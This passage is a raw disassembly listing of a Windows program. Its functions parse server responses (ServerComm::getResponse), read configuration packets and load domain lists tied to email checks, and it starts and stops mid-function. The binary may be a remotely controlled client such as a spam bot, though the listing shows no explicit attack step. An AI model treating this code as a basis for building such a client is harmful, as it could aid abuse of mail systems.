loc_40BB9A:				; CODE XREF: sub_40BB2D+38j
		push	4
		pop	ebx
		add	edi, ebx
		lea	ecx, [edi-4]
		jmp	short loc_40BBAA
; ---------------------------------------------------------------------------


loc_40BBA4:				; CODE XREF: sub_40BB2D+83j
		test	eax, eax
		jz	short loc_40BBD2
		add	ecx, ebx


loc_40BBAA:				; CODE XREF: sub_40BB2D+75j
		mov	eax, [ecx]
		cmp	eax, [esp+0A8h+var_9C]
		jnz	short loc_40BBA4
		sub	[esp+0A8h+var_98], 8
		jnz	short loc_40BC04


loc_40BBB9:				; CODE XREF: sub_40BB2D+238j
		mov	ecx, [esp+0A8h+var_C]
		mov	eax, [esp+0A8h+var_9C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40BBD2:				; CODE XREF: sub_40BB2D+79j
		push	offset aServercommGe_0 ; "ServerComm::getResponse: unexpected res"...
		lea	ecx, [esp+0ACh+var_64]
		call	sub_401C44
		lea	eax, [esp+0A8h+var_64]
		push	eax
		lea	ecx, [esp+0ACh+var_80]
		mov	[esp+0ACh+var_4], 1
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+0ACh+var_80]
		jmp	short loc_40BB94
; ---------------------------------------------------------------------------


loc_40BC04:				; CODE XREF: sub_40BB2D+8Aj
		cmp	[esp+0A8h+var_98], 1FFFFFh
		jbe	short loc_40BC43
		push	offset aServercommGe_1 ; "ServerComm::getResponse: insane respons"...
		lea	ecx, [esp+0ACh+var_64]
		call	sub_401C44
		lea	eax, [esp+0A8h+var_64]
		push	eax
		lea	ecx, [esp+0ACh+var_80]
		mov	[esp+0ACh+var_4], 2
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+0ACh+var_80]
		jmp	loc_40BB94
; ---------------------------------------------------------------------------


loc_40BC43:				; CODE XREF: sub_40BB2D+DFj
		push	[esp+0A8h+var_98]
		call	sub_40D802
		pop	ecx
		push	[esp+0A8h+var_98]
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40BA00
		mov	ecx, [esp+0A8h+var_98]
		cmp	eax, ecx
		jz	short loc_40BC9F
		push	edi
		call	sub_4103B5
		lea	ecx, [esp+0ACh+var_64]
		mov	[esp+0ACh+var_AC], offset aServercommGe_2 ; "ServerComm::getResponse: disconnected w"...
		call	sub_401C44
		lea	eax, [esp+0A8h+var_64]
		push	eax
		lea	ecx, [esp+0ACh+var_80]
		mov	[esp+0ACh+var_4], 3
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+0ACh+var_80]
		jmp	loc_40BB94
; ---------------------------------------------------------------------------


loc_40BC9F:				; CODE XREF: sub_40BB2D+133j
		mov	eax, [esp+0A8h+var_9C]
		dec	eax
		cmp	eax, 7		; switch 8 cases
		ja	loc_40BD6A	; default
		jmp	off_40BDAD[eax*4] ; switch jump


loc_40BCB4:				; DATA XREF: .vty:off_40BDADo
		push	dword ptr [edi+4] ; jumptable 0040BCAD case 0
		mov	ecx, [esi]
		push	dword ptr [edi]
		mov	eax, [ecx]
		call	dword ptr [eax]
		jmp	loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BCC4:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	ecx, [esi]	; jumptable 0040BCAD case 1
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		jmp	loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BCD0:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	eax, [esi]	; jumptable 0040BCAD case 2
		mov	ebx, [eax]
		push	ecx
		mov	ecx, edi
		add	ebx, 8
		call	sub_40BDCD


loc_40BCDF:				; CODE XREF: sub_40BB2D+1CDj
		mov	ecx, [esi]
		push	eax
		call	dword ptr [ebx]
		jmp	short loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BCE6:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	eax, [esi]	; jumptable 0040BCAD case 3
		mov	ebx, [eax]
		add	ecx, 0FFFFFFDCh
		push	ecx
		lea	eax, [edi+24h]
		push	eax
		add	ebx, 0Ch
		call	sub_40C10E
		jmp	short loc_40BCDF
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	byte ptr [edi+ecx], 0 ;	jumptable 0040BCAD case	4
		mov	ecx, [esi]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+10h]
		jmp	short loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BD0A:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	ecx, [esi]	; jumptable 0040BCAD case 5
		push	dword ptr [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		jmp	short loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BD15:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		mov	ecx, [esi]	; jumptable 0040BCAD case 6
		push	dword ptr [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+18h]
		jmp	short loc_40BD5E
; ---------------------------------------------------------------------------


loc_40BD20:				; CODE XREF: sub_40BB2D+180j
					; DATA XREF: .vty:off_40BDADo
		xor	eax, eax	; jumptable 0040BCAD case 7
		mov	[esp+0A8h+var_8C], eax
		mov	[esp+0A8h+var_88], eax
		mov	[esp+0A8h+var_84], eax
		lea	eax, [esp+0A8h+var_90]
		push	eax
		push	ecx
		lea	eax, [esp+0B0h+var_94]
		mov	[esp+0B0h+var_4], ebx
		push	eax
		mov	[esp+0B4h+var_94], edi
		call	sub_40C028
		mov	ecx, [esi]
		mov	eax, [ecx]
		lea	edx, [esp+0A8h+var_90]
		push	edx
		call	dword ptr [eax+1Ch]
		lea	esi, [esp+0A8h+var_90]
		call	sub_405AAC


loc_40BD5E:				; CODE XREF: sub_40BB2D+192j
					; sub_40BB2D+19Ej ...
		push	edi
		call	sub_4103B5
		pop	ecx
		jmp	loc_40BBB9
; ---------------------------------------------------------------------------


loc_40BD6A:				; CODE XREF: sub_40BB2D+17Aj
		push	edi		; default
		call	sub_4103B5
		lea	ecx, [esp+0ACh+var_48]
		mov	[esp+0ACh+var_AC], offset aServercommGe_3 ; "ServerComm::getResponse: bad response -"...
		call	sub_401C44
		lea	eax, [esp+0A8h+var_48]
		push	eax
		lea	ecx, [esp+0ACh+var_2C]
		mov	[esp+0ACh+var_4], 5
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [esp+0ACh+var_2C]
		jmp	loc_40BB94
sub_40BB2D	endp

; ---------------------------------------------------------------------------
off_40BDAD	dd offset loc_40BCB4	; DATA XREF: sub_40BB2D+180r
		dd offset loc_40BCC4	; jump table for switch	statement
		dd offset loc_40BCD0
		dd offset loc_40BCE6
		dd offset loc_40BCFC
		dd offset loc_40BD0A
		dd offset loc_40BD15
		dd offset loc_40BD20

; =============== S U B	R O U T	I N E =======================================



sub_40BDCD	proc near		; CODE XREF: sub_40BB2D+1ADp
		mov	eax, offset loc_41B31A
		call	sub_41AE44
		sub	esp, 0B4h
		push	ebx
		push	esi
		push	edi
		push	0Ch
		mov	edi, ecx
		call	sub_40DE68
		mov	esi, eax
		pop	ecx
		mov	[ebp-18h], esi
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_40BE08
		call	sub_405A4E
		mov	[esi+4], eax
		mov	[esi+8], ebx
		mov	[ebp-10h], esi
		jmp	short loc_40BE0B
; ---------------------------------------------------------------------------


loc_40BE08:				; CODE XREF: sub_40BDCD+29j
		mov	[ebp-10h], ebx


loc_40BE0B:				; CODE XREF: sub_40BDCD+39j
		mov	eax, [ebp+8]
		push	0Fh
		pop	esi
		add	eax, edi
		push	ebx
		lea	ecx, [ebp-98h]
		mov	[ebp-14h], eax
		mov	[ebp-80h], esi
		call	sub_401564
		mov	dword ptr [ebp-4], 1
		jmp	loc_40BFC8
; ---------------------------------------------------------------------------


loc_40BE31:				; CODE XREF: sub_40BDCD+201j
		mov	dl, [edi]
		mov	edi, eax
		mov	al, [edi]
		movzx	eax, al
		inc	edi
		lea	ecx, [eax+edi]
		cmp	ecx, [ebp-14h]
		mov	[ebp+0Bh], dl
		mov	[ebp-20h], eax
		mov	[ebp-18h], ecx
		ja	loc_40BFD4
		cmp	dl, 0FFh
		jnz	short loc_40BEC7
		push	eax
		push	edi
		lea	ecx, [ebp-98h]
		call	sub_401483
		push	ebx
		lea	ecx, [ebp-58h]
		mov	[ebp-40h], esi
		call	sub_401564
		mov	[ebp-38h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-30h], ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-28h], ebx
		mov	eax, [ebp-10h]
		mov	byte ptr [ebp-4], 3
		push	dword ptr [eax+4]
		lea	ecx, [ebp-58h]
		push	eax
		push	ecx
		push	eax
		call	sub_406CEA
		lea	edi, [ebp-3Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_406C09
		push	ebx
		push	1
		lea	ecx, [ebp-58h]
		call	sub_4013C4
		mov	eax, [ebp-10h]
		call	sub_40C211
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [ebp-98h]
		push	ecx
		mov	ecx, eax
		call	sub_401315
		jmp	loc_40BFC5
; ---------------------------------------------------------------------------


loc_40BEC7:				; CODE XREF: sub_40BDCD+86j
		mov	eax, [ebp-10h]
		cmp	[eax+8], ebx
		jz	loc_40BFF6
		push	ebx
		lea	ecx, [ebp-7Ch]
		mov	[ebp-64h], esi
		call	sub_401564
		lea	esi, [ebp-60h]
		call	sub_4012E2
		lea	esi, [ebp-44h]
		call	sub_4012E2
		mov	[ebp-28h], ebx
		mov	[ebp-24h], bl
		mov	[ebp-23h], bl
		mov	eax, [ebp-10h]
		mov	byte ptr [ebp-4], 5
		call	sub_40C211
		mov	esi, eax
		mov	ecx, [esi+20h]
		add	esi, 1Ch
		cmp	ecx, ebx
		jnz	short loc_40BF15
		mov	[ebp-1Ch], ebx
		jmp	short loc_40BF23
; ---------------------------------------------------------------------------


loc_40BF15:				; CODE XREF: sub_40BDCD+141j
		mov	eax, [esi+0Ch]
		sub	eax, ecx
		push	5Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-1Ch], eax


loc_40BF23:				; CODE XREF: sub_40BDCD+146j
		mov	eax, esi
		call	sub_405555
		cmp	eax, [ebp-1Ch]
		jnb	short loc_40BF42
		lea	eax, [ebp-7Ch]
		push	eax
		push	1
		push	dword ptr [esi+8]
		call	sub_40C33D
		mov	[esi+8], eax
		jmp	short loc_40BF62
; ---------------------------------------------------------------------------


loc_40BF42:				; CODE XREF: sub_40BDCD+160j
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		jbe	short loc_40BF4F
		call	sub_40DCFC


loc_40BF4F:				; CODE XREF: sub_40BDCD+17Bj
		push	ebx
		push	esi
		lea	eax, [ebp-7Ch]
		push	eax
		lea	ebx, [ebp-0A0h]
		call	sub_40C2BE
		xor	ebx, ebx


loc_40BF62:				; CODE XREF: sub_40BDCD+173j
		lea	esi, [ebp-7Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_407598
		mov	eax, [ebp-10h]
		call	sub_40C211
		push	1Ch
		pop	esi
		add	eax, esi
		call	sub_40C1D3
		mov	cl, [ebp+0Bh]
		mov	[eax+59h], cl
		mov	eax, [ebp-10h]
		call	sub_40C211
		add	eax, esi
		call	sub_40C1D3
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [ebp-98h]
		add	eax, esi
		push	ecx
		mov	ecx, eax
		call	sub_401315
		push	dword ptr [ebp-20h]
		mov	eax, [ebp-10h]
		push	edi
		call	sub_40C211
		add	eax, esi
		call	sub_40C1D3
		mov	ecx, eax
		call	sub_401483
		push	0Fh
		pop	esi


loc_40BFC5:				; CODE XREF: sub_40BDCD+F5j
		mov	edi, [ebp-18h]


loc_40BFC8:				; CODE XREF: sub_40BDCD+5Fj
		lea	eax, [edi+1]
		cmp	eax, [ebp-14h]
		jb	loc_40BE31


loc_40BFD4:				; CODE XREF: sub_40BDCD+7Dj
		push	ebx
		push	1
		lea	ecx, [ebp-98h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40BFF6:				; CODE XREF: sub_40BDCD+100j
		push	offset aServercommRead ; "ServerComm::readDomains: email does not"...
		lea	ecx, [ebp-0BCh]
		call	sub_401C44
		lea	eax, [ebp-0BCh]
		push	eax
		lea	ecx, [ebp-3Ch]
		mov	byte ptr [ebp-4], 4
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40BDCD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C028	proc near		; CODE XREF: sub_40BB2D+217p
					; sub_40C10E+9Fp ...
		mov	eax, offset loc_41B2D8
		call	sub_41AE44
		sub	esp, 1Ch
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, [esi]
		add	edi, [ebp+0Ch]
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		mov	ebx, [ebp+10h]
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		mov	eax, ebx
		call	sub_409560
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		jmp	short loc_40C0D1
; ---------------------------------------------------------------------------


loc_40C075:				; CODE XREF: sub_40C028+ABj
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jz	short loc_40C09C
		mov	[ebp+0Ch], al
		mov	eax, ebx
		call	sub_40C232
		push	dword ptr [ebp+0Ch]
		xor	ebx, ebx
		inc	ebx
		mov	esi, eax
		call	sub_40140F
		mov	ebx, [ebp+10h]
		mov	esi, [ebp+8]
		jmp	short loc_40C0CF
; ---------------------------------------------------------------------------


loc_40C09C:				; CODE XREF: sub_40C028+53j
		push	0
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		lea	eax, [ebp-28h]
		push	eax
		mov	eax, ebx
		mov	dword ptr [ebp-4], 1
		call	sub_409560
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4


loc_40C0CF:				; CODE XREF: sub_40C028+72j
		inc	dword ptr [esi]


loc_40C0D1:				; CODE XREF: sub_40C028+4Bj
		cmp	[esi], edi
		jb	short loc_40C075
		mov	eax, ebx
		call	sub_40C232
		cmp	dword ptr [eax+14h], 0
		jnz	short loc_40C0FD
		mov	eax, ebx
		call	sub_4057B6
		test	eax, eax
		jz	short loc_40C0FD
		mov	eax, [ebx+8]
		push	eax
		add	eax, 0FFFFFFE4h
		call	sub_405A8F
		add	dword ptr [ebx+8], 0FFFFFFE4h


loc_40C0FD:				; CODE XREF: sub_40C028+B8j
					; sub_40C028+C3j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_40C028	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C10E	proc near		; CODE XREF: sub_40BB2D+1C8p
		mov	eax, offset loc_41B46F
		call	sub_41AE44
		mov	eax, [edi+1Ch]
		add	eax, [edi+20h]
		sub	esp, 40h
		cmp	[ebp+0Ch], eax
		push	esi
		jz	short loc_40C152
		push	offset aConfigPacketHa ; "Config packet	has incorrect size"
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-44h]
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-44h]
		push	eax
		call	sub_4107BC


loc_40C152:				; CODE XREF: sub_40C10E+17j
		push	3Ch
		call	sub_40DE68
		pop	ecx
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_40C174
		mov	[eax+20h], esi
		mov	[eax+24h], esi
		mov	[eax+28h], esi
		mov	[eax+30h], esi
		mov	[eax+34h], esi
		mov	[eax+38h], esi
		mov	esi, eax


loc_40C174:				; CODE XREF: sub_40C10E+50j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [edi+4]
		mov	[esi+4], eax
		mov	eax, [edi+8]
		mov	[esi+8], eax
		mov	eax, [edi+0Ch]
		mov	[esi+0Ch], eax
		mov	eax, [edi+10h]
		mov	[esi+10h], eax
		mov	eax, [edi+14h]
		mov	[esi+14h], eax
		mov	al, [edi+18h]
		and	al, 1
		mov	[esi+18h], al
		lea	eax, [esi+1Ch]
		push	eax
		push	dword ptr [edi+1Ch]
		lea	eax, [ebp+8]
		push	eax
		call	sub_40C028
		lea	eax, [esi+2Ch]
		push	eax
		push	dword ptr [edi+20h]
		lea	eax, [ebp+8]
		push	eax
		call	sub_40C028
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_40C10E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1D3	proc near		; CODE XREF: sub_40BDCD+1AEp
					; sub_40BDCD+1C3p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, eax
		push	edi
		mov	edi, [esi+8]
		cmp	[esi+4], edi
		jbe	short loc_40C1EA
		call	sub_40DCFC


loc_40C1EA:				; CODE XREF: sub_40C1D3+10j
		mov	[ebp+var_4], edi
		push	0FFFFFFFFh
		lea	edi, [ebp+var_8]
		mov	[ebp+var_8], esi
		call	sub_40C7D0
		mov	ecx, [eax]
		mov	eax, [eax+4]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], eax
		call	sub_409835
		pop	edi
		pop	esi
		leave
		retn
sub_40C1D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C211	proc near		; CODE XREF: sub_40BDCD+DFp
					; sub_40BDCD+132p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [eax+4]
		push	esi
		lea	esi, [ebp+var_8]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], eax
		call	sub_405967
		mov	esi, eax
		call	sub_406402
		pop	esi
		leave
		retn
sub_40C211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C232	proc near		; CODE XREF: sub_40C028+5Ap
					; sub_40C028+AFp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, eax
		push	edi
		mov	edi, [esi+8]
		cmp	[esi+4], edi
		jbe	short loc_40C249
		call	sub_40DCFC


loc_40C249:				; CODE XREF: sub_40C232+10j
		mov	[ebp+var_4], edi
		push	0FFFFFFFFh
		lea	edi, [ebp+var_8]
		mov	[ebp+var_8], esi
		call	sub_40AFF4
		mov	ecx, [eax]
		mov	eax, [eax+4]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], eax
		call	sub_409835
		pop	edi
		pop	esi
		leave
		retn
sub_40C232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C270	proc near		; CODE XREF: sub_40B7A2+5Cp
					; sub_40B7A2+83p ...

var_C		= byte ptr -0Ch

		mov	edx, [esi+4]
		sub	esp, 10h
		test	edx, edx
		push	edi
		jnz	short loc_40C27F
		xor	ecx, ecx
		jmp	short loc_40C284
; ---------------------------------------------------------------------------


loc_40C27F:				; CODE XREF: sub_40C270+9j
		mov	ecx, [esi+8]
		sub	ecx, edx


loc_40C284:				; CODE XREF: sub_40C270+Dj
		test	edx, edx
		jz	short loc_40C29E
		mov	eax, [esi+0Ch]
		sub	eax, edx
		cmp	ecx, eax
		jnb	short loc_40C29E
		mov	eax, [esi+8]
		mov	cl, [ebx]
		mov	[eax], cl
		inc	eax
		mov	[esi+8], eax
		jmp	short loc_40C2B9
; ---------------------------------------------------------------------------


loc_40C29E:				; CODE XREF: sub_40C270+16j
					; sub_40C270+1Fj
		mov	edi, [esi+8]
		cmp	edx, edi
		jbe	short loc_40C2AA
		call	sub_40DCFC


loc_40C2AA:				; CODE XREF: sub_40C270+33j
		push	edi
		push	esi
		push	ebx
		lea	eax, [esp+20h+var_C]
		push	eax
		mov	eax, esi
		call	sub_40C36D


loc_40C2B9:				; CODE XREF: sub_40C270+2Cj
		pop	edi
		add	esp, 10h
		retn
sub_40C270	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2BE	proc near		; CODE XREF: sub_40BDCD+18Ep

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	eax, esi
		call	sub_405555
		test	eax, eax
		jnz	short loc_40C2D4
		and	[ebp+var_8], eax
		jmp	short loc_40C2FF
; ---------------------------------------------------------------------------


loc_40C2D4:				; CODE XREF: sub_40C2BE+Fj
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_40C2E1
		call	sub_40DCFC


loc_40C2E1:				; CODE XREF: sub_40C2BE+1Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_40C2EC
		cmp	[ebp+arg_4], esi
		jz	short loc_40C2F1


loc_40C2EC:				; CODE XREF: sub_40C2BE+27j
		call	sub_40DCFC


loc_40C2F1:				; CODE XREF: sub_40C2BE+2Cj
		mov	eax, [ebp+arg_8]
		sub	eax, edi
		push	5Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_8], eax


loc_40C2FF:				; CODE XREF: sub_40C2BE+14j
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		push	[ebp+arg_4]
		push	esi
		call	sub_40C3E5
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_40C31B
		call	sub_40DCFC


loc_40C31B:				; CODE XREF: sub_40C2BE+56j
		push	[ebp+var_8]
		mov	[ebp+arg_8], edi
		lea	edi, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		call	sub_40C7D0
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	[ebx], ecx
		mov	eax, ebx
		pop	edi
		leave
		retn	0Ch
sub_40C2BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C33D	proc near		; CODE XREF: sub_40BDCD+16Bp
					; sub_40C3E5+BFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CA70
		mov	eax, [ebp+arg_4]
		imul	eax, 5Ch
		add	esp, 14h
		add	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_40C33D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C36D	proc near		; CODE XREF: sub_40C270+44p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		mov	edi, [esi+4]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_40C3A5
		mov	eax, [esi+8]
		mov	ecx, eax
		sub	ecx, edi
		jz	short loc_40C3A5
		cmp	edi, eax
		jbe	short loc_40C391
		call	sub_40DCFC


loc_40C391:				; CODE XREF: sub_40C36D+1Dj
		cmp	[ebp+arg_8], ebx
		jz	short loc_40C39B
		cmp	[ebp+arg_8], esi
		jz	short loc_40C3A0


loc_40C39B:				; CODE XREF: sub_40C36D+27j
		call	sub_40DCFC


loc_40C3A0:				; CODE XREF: sub_40C36D+2Cj
		mov	ebx, [ebp+arg_C]
		sub	ebx, edi


loc_40C3A5:				; CODE XREF: sub_40C36D+10j
					; sub_40C36D+19j
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_40C620
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		jbe	short loc_40C3C2
		call	sub_40DCFC


loc_40C3C2:				; CODE XREF: sub_40C36D+4Ej
		mov	[ebp+arg_C], edi
		add	edi, ebx
		cmp	edi, [esi+8]
		ja	short loc_40C3D1
		cmp	edi, [esi+4]
		jnb	short loc_40C3D6


loc_40C3D1:				; CODE XREF: sub_40C36D+5Dj
		call	sub_40DCFC


loc_40C3D6:				; CODE XREF: sub_40C36D+62j
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edi
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40C36D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C3E5	proc near		; CODE XREF: sub_40C2BE+4Bp
		mov	eax, offset loc_41B129
		call	sub_41AE44
		sub	esp, 6Ch
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		lea	eax, [ebp-78h]
		mov	[ebp-10h], esp
		push	eax
		mov	edi, ecx
		call	sub_40772B
		xor	esi, esi
		mov	[ebp-4], esi
		mov	ecx, [ebx+4]
		cmp	ecx, esi
		jz	short loc_40C422
		mov	eax, [ebx+0Ch]
		sub	eax, ecx
		push	5Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-14h], eax
		mov	esi, eax


loc_40C422:				; CODE XREF: sub_40C3E5+2Bj
		mov	eax, ebx
		call	sub_405555
		mov	edi, 2C8590Bh
		mov	ecx, edi
		sub	ecx, eax
		cmp	ecx, 1
		jnb	short loc_40C43C
		call	sub_40684D


loc_40C43C:				; CODE XREF: sub_40C3E5+50j
		mov	eax, ebx
		call	sub_405555
		inc	eax
		cmp	esi, eax
		jnb	loc_40C538
		mov	eax, esi
		shr	eax, 1
		sub	edi, eax
		cmp	edi, esi
		jnb	short loc_40C45F
		and	dword ptr [ebp-14h], 0
		mov	esi, [ebp-14h]
		jmp	short loc_40C464
; ---------------------------------------------------------------------------


loc_40C45F:				; CODE XREF: sub_40C3E5+6Fj
		add	esi, eax
		mov	[ebp-14h], esi


loc_40C464:				; CODE XREF: sub_40C3E5+78j
		mov	eax, ebx
		call	sub_405555
		inc	eax
		cmp	esi, eax
		jnb	short loc_40C47D
		mov	eax, ebx
		call	sub_405555
		inc	eax
		mov	[ebp-14h], eax
		mov	esi, eax


loc_40C47D:				; CODE XREF: sub_40C3E5+89j
		mov	ecx, esi
		call	sub_40740A
		push	eax
		push	dword ptr [ebp+10h]
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebx+4]
		mov	[ebp-18h], eax
		mov	[ebp+8], eax
		call	sub_40C801
		lea	ecx, [ebp-78h]
		push	ecx
		push	1
		push	eax
		mov	[ebp+8], eax
		call	sub_40C33D
		mov	ecx, [ebp+10h]
		push	eax
		push	dword ptr [ebx+8]
		mov	[ebp+8], eax
		call	sub_40C801
		mov	eax, ebx
		call	sub_405555
		mov	edi, eax
		mov	eax, [ebx+4]
		inc	edi
		test	eax, eax
		jz	short loc_40C4F6
		mov	ecx, [ebx+8]
		cmp	eax, ecx
		mov	[ebp+10h], ecx
		mov	[ebp+8], eax
		jz	short loc_40C4ED


loc_40C4D6:				; CODE XREF: sub_40C3E5+103j
		mov	esi, [ebp+8]
		call	sub_407598
		add	dword ptr [ebp+8], 5Ch
		mov	eax, [ebp+8]
		cmp	eax, [ebp+10h]
		jnz	short loc_40C4D6
		mov	esi, [ebp-14h]


loc_40C4ED:				; CODE XREF: sub_40C3E5+EFj
		push	dword ptr [ebx+4]
		call	sub_40DD8A
		pop	ecx


loc_40C4F6:				; CODE XREF: sub_40C3E5+E2j
		mov	eax, [ebp-18h]
		imul	esi, 5Ch
		imul	edi, 5Ch
		add	esi, eax
		add	edi, eax
		mov	[ebx+0Ch], esi
		mov	[ebx+8], edi
		mov	[ebx+4], eax
		jmp	loc_40C607
; ---------------------------------------------------------------------------


loc_40C511:				; DATA XREF: .vty:0042082Co
		mov	edi, [ebp-18h]
		cmp	edi, [ebp+8]
		mov	esi, edi
		jz	short loc_40C528


loc_40C51B:				; CODE XREF: sub_40C3E5+141j
		call	sub_407598
		add	esi, 5Ch
		cmp	esi, [ebp+8]
		jnz	short loc_40C51B


loc_40C528:				; CODE XREF: sub_40C3E5+134j
		push	edi
		call	sub_40DD8A
		pop	ecx


loc_40C52F:				; CODE XREF: sub_40C3E5+1D3j
		push	0
		push	0
		call	sub_4107BC


loc_40C538:				; CODE XREF: sub_40C3E5+61j
		mov	esi, [ebx+8]
		mov	edi, [ebp+10h]
		mov	eax, esi
		sub	eax, edi
		push	5Ch
		cdq
		pop	ecx
		idiv	ecx
		cmp	eax, 1
		jnb	short loc_40C5BD
		lea	eax, [edi+5Ch]
		push	eax
		push	esi
